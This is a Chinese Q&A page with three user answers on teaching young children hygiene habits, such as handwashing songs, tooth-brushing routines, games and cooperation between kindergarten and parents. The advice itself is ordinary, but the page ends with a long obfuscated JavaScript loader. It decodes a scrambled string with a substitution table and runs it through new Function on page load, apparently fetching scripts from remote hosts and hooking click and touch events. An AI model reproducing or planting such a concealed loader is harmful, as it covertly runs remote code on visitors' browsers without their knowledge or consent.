浅谈如何培养幼儿良好的生活卫生习惯

2024年11月22日 13:14
有3个网友回答
网友(1):

培养幼儿良好的生活卫生习惯可以从以下几点入手:
1、以身作则法:从小培养幼儿良好的生活卫生习惯将会成为幼儿一生的财富。幼儿好模仿成人习惯,成人的良好行为是培养幼儿良好卫生习惯具体、形象而又直观的示范。如准备睡觉时铺被、拉窗帘、洗脸、洗脚;吃饭前碗筷、桌凳的摆放凳都是给孩子一种示范和暗示。
2、形象渗透法:利用看图片、讲故事、教儿歌、游戏等形式进行渗透教育来达到培养目的。
3、定位法:将幼儿常用的物品、玩具摆放在规定的地方,并严格要求按规定的位置摆放,使其对常用物品的位置形成固定的印象,这样就能养成其不随便使用别人物品的习惯。
4、督促检查法:幼儿的自觉性、坚持性和自制能力都较差,需要不断的督促提醒和检查,这样可使其良好的习惯不断强化,逐步形成自觉行动。

网友(2):

正确的做法:

1、给孩子提供便捷的凳子,身体高于洗手池,便于拿取东西。小孩子提供洗脸盆、毛巾和香皂。(成人准备适合孩子发展的环境和工作材料,孩子自然会朝着成人预期的方向发展)

2、展示洗脸刷牙的过程,每一个步骤都让孩子看到,每天和孩子一起做。(模仿的过程是孩子学习的过程)

3、给孩子练习的机会,恰当的帮助一点点,如刚开始挤牙膏,帮助孩子拿牙刷让孩子挤牙膏。(练习的过程帮助孩子小肌肉的控制力的发展)

4、准备适合孩子的牙膏,不过多的关注吃牙膏的行为,引导他继续刷牙,适当的用后面的工作“诱惑”他结束刷牙。(无意识的转移孩子的注意力,用正确的方式引导注意力放在能够发展孩子的工作上。)

5、为小孩子准备一些刷牙、洗脸的歌、绘本,用游戏的方式引导。(轻松的氛围更能够吸引孩子想要动手的欲望。)


【扩展资料】

从孩子出生来到我们身边,他们成为一个独立的个体而存在,父母对孩子的爱应该是帮助孩子长大更好的适应这个社会,更好的为他人服务而获得生存的机会,前提是作为人所需要的生活技能是孩子幼年需要成长起来的能力,把人的部分成长起来,再培养孩子才的部分,将来孩子才能成为一个对家庭、对他人、对社会有用的人才。

【参考资料】

百度百科——个人卫生

网友(3):

- 习惯贯穿于人的生活的方方面面。一个人生活、卫生习惯好,就有益于健康(健康食品)成长,有益终生。杰出的思想家培根说:“习惯是人生的主宰,人们应当努力求得好习惯。”曾经有位科学家说过:他一生中最重要的东西是在幼儿园学到的,他在幼儿(幼儿食品)园学到了饭前洗手,东西要放整齐,不随便拿别人的东西等。所以,好的生活卫生习惯应从小培养,幼儿园和家庭都应该重视培养幼儿良好的生活卫生习惯。但在工作中我发现,有些家长虽然也明白这个道理,但他们往往因自己工作忙,长辈愿意帮助,于是把孩子的教育交给了幼儿园和长辈;有些家长过分溺爱孩子或怕麻烦而代替孩子做他们应该做的事,剥夺了孩子学习的机会,错过了对孩子进行教育的时机,使孩子形成了依赖心理;有些家长缺乏正确、有效地方法。这样就给幼儿园老师对幼儿的教育增加了困难。但是,本着教师的责任感,我们还是迎难而上,我认为,培养幼儿良好的生活卫生习惯可从以下几方面入手。一、 在日常教学活动中培养幼儿的良好生活卫生习惯 1、根据幼儿的不同年龄、能力,制定不同层次、不同阶段的目标。每年在制定教学计划时,注重制定有关培养良好生活卫生习惯方面的内容,而且能根据幼儿的不同年龄、能力,定出不同层次、不同阶段的要求。例如确定洗手的目标:小班的幼儿是在老师帮助下将袖子卷起,学习自己冲湿手,打肥皂,搓左右手。而中班就要求自己卷袖子,知道手心、手背、手指洗干净。大班幼儿的要求就更高一层次了。创造成功完成任务的条件,为训练三岁的幼儿自己穿脱鞋子,我要求家长给幼儿穿稍大的鞋,使幼儿容易穿脱。又如让幼儿向瓶子里倒水,给他的瓶子应是大口瓶。总之在训练中,最初提供的条件要保证幼儿能够比较容易的完成任务,以后,逐渐增加难度。这样会增强幼儿学习自我服务技能的兴趣,并建立自信心。2、根据幼儿的实际情况,开展培养卫生习惯的活动。我能根据幼儿的实际情况、当前的卫生习惯水平,开展有针对性的教育活动。如发现孩子在整理习惯能力较薄弱时,我就组织幼儿开展有关培养整理习惯的竞赛、训练等活动,并在日常中注意这方面的培养。如我调查了解到有相当一部分幼儿不愿意主动刷牙,为了漂亮而不根据天气乱穿衣等现象后,我设计了活动“保护牙齿”、“会穿衣的宝宝(宝宝食品)”,通过活动让幼儿认识了牙齿的重要性,了解不良行为对牙齿造成危害,并教育孩子在日常中保护好自己的牙齿。还教幼儿根据天气及自我感觉穿着、增脱衣服,保护好自己的身体。活动中我采用了集体、分组、个别等教学形式组织活动。注重做好幼儿的个别指导,我在区域内投放增添了有关生活卫生习惯方面的操作材料,提供更多机会让幼儿学习锻炼。有针对性地对能力弱的幼儿进行个别指导,使其尽快掌握生活卫生习惯的技能。3、将卫生习惯的培养渗透到各领域教学中,有效地促进幼儿良好生活卫生习惯的形成。在语言活动中,通过讲故事、儿歌等形式,让幼儿了解有关卫生常识。如:故事“不爱洗澡的小猪”,我先让幼儿听故事,通过故事知道小猪因不爱洗澡,小动物们都不愿意和它做朋友,并引导幼儿想办法帮助小猪,当小朋友想出帮助小猪的办法后,我及时地教育幼儿要注意保持个人卫生,做个人见人爱的讲卫生的好孩子。另外,为了使幼儿尽快正确、熟练掌握刷牙、洗手等的方法,我编写了朗朗上口的儿歌:“小牙刷,手中拿,我呀张开小嘴巴,刷左面,刷右面,上下里外都刷刷,刷得干净没蛀牙,我的牙齿白花花。”幼儿边念儿歌,边随着儿歌所说的步骤学习刷牙,既容易掌握,又轻松有趣。又如在教幼儿洗手的方法时,我教幼儿边念儿歌边洗手“手心搓搓,手背搓搓,手指缝里搓搓,一——二——三,小手甩甩干”最后去找自己的手巾擦干手。这样,幼儿洗手的兴趣大,很快就养成洗手的习惯,掌握洗手的正确方法。在幼儿园里,幼儿的交往频繁。因此,在日常教学中,我就将生活习惯较差的幼儿融入到生活卫生习惯好的幼儿之中,利用同伴的影响,促进他们逐渐养成良好的生活卫生习惯。例如,我根据幼儿实际情况,在班里选出做得最好的小朋友当值日生,每天细致检查每个幼儿的生活卫生情况,对做得好的给予奖励,让更多有进步的小朋友当值日生,促进他们向生活卫生习惯好的幼儿学习。当幼儿在饭前、便后不用提醒的情况下,主动去洗手,我就及时给予鼓励,摸摸孩子的头,说一句鼓励的话。我还利用幼儿午睡前,教育幼儿将脱下的衣服叠放整齐,以养成良好的收拾习惯和自理能力。总之,我在日常教学中,时刻不忘教育幼儿,把培养幼儿良好的生活卫生习惯贯穿在整个教学当中,促使幼儿良好生活卫生习惯意识的形成。二、通过游戏、促进幼儿良好生活卫生习惯的形成。“寓教育于生活、游戏之中”是新《纲要》的实施原则,而游戏是孩子喜爱的活动,在游戏中幼儿能充分发挥其主动积极性,是培养幼儿良好生活卫生习惯的有效途径之一。生活技能的掌握是要通过不断的学习和锻炼的,而反复的训练会使孩子觉得枯燥无味,从而导致孩子没兴趣去做。我在日常教学中注重通过游戏提高幼儿的生活卫生习惯,我让幼儿在角色游戏“小兔过生日”中学会了帮助布娃娃穿脱折叠衣物,把凌乱的家收拾干净整齐,这样,让幼儿在玩中练习,巩固提高穿脱衣服,收拾玩具的方法。为激发幼儿洗手的兴趣,我和幼儿玩搓泡沫的游戏,看谁能把泡沫变黑变多。又如游戏“脸盆里的水变黑了”和“小手变白了”都可以使孩子主动的去洗手,孩子们玩得可高兴了,在不知不觉中很快就掌握了洗手的技能。三、加强家园配合,进一步促进幼儿形成良好的生活卫生习惯。幼儿良好生活卫生习惯的养成要有良好的环境和必要的条件,是幼儿园、家庭相互作用的结果。幼儿生活卫生教育的成败,很大程度上取决于家庭教育和幼儿园教育的密切配合。配合得好,幼儿的教育就如锦上添花;配合得不好,幼儿的教育就会出现这样或那样的问题。因为家庭是孩子的第一所学校,家长是孩子的第一任教师,家庭教育方式与氛围直接关系到幼儿能否健康成长。新《纲要》指出:“家庭是幼儿园重要的合作伙伴,应本着尊重、平等、合作的原则,争取家长的理解,支持和主动参与,并积极支持,帮助家长提高教育能力。”针对现代家庭不同类型的特点,我常用的方法是家访。对于有教养的家庭,我尽可能将幼儿的生活习惯如实向家长反映,主动请家长提出教育幼儿的措施,认真倾听他们的意见,充分肯定和采纳他们的合理化建议。对于宠爱型的家庭,对幼儿良好的生活卫生习惯先给予真挚的赞赏和表扬,然后再适时指出幼儿的不足,并用恳切的语言指出宠爱对孩子成长的危害,耐心热情地帮助和说服家长采用正确的方式来教育孩子,如向孩子传授相关的生活技能,给孩子分配些力所能及的家务等。对放任型的家庭,我通过谈话激发家长对孩子的爱心与期望,改变对幼儿生活放任不管的态度,吸引他们主动参与幼儿的教育活动。同时,委婉地向家长指出放任不管对孩子的不良影响。此外,我还通过家长园地、家长会等形式向家长宣传幼儿不良生活卫生习惯的弊端,提出培养幼儿良心的生活卫生习惯的正确方法,使家长们认识到“只有身心和谐发展才能真正既保证身体的健康又保证心理的健康”,从而重视幼儿良好生活卫生习惯的培养。家园配合,促使幼儿良好生活卫生习惯的形成。实践证明,培养幼儿良好的生活卫生习惯是非常主要的工作。我国教育家陈鹤琴先生说得好:“习惯养得好,终生爱其益,习惯养不好,终生受其累。”这就需要我们幼儿园的教师负起责任,倾注我们的爱心、细心、耐心和诚心,让每一个幼儿都养成良好生活卫生习惯,都能健康、愉快的成长。

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();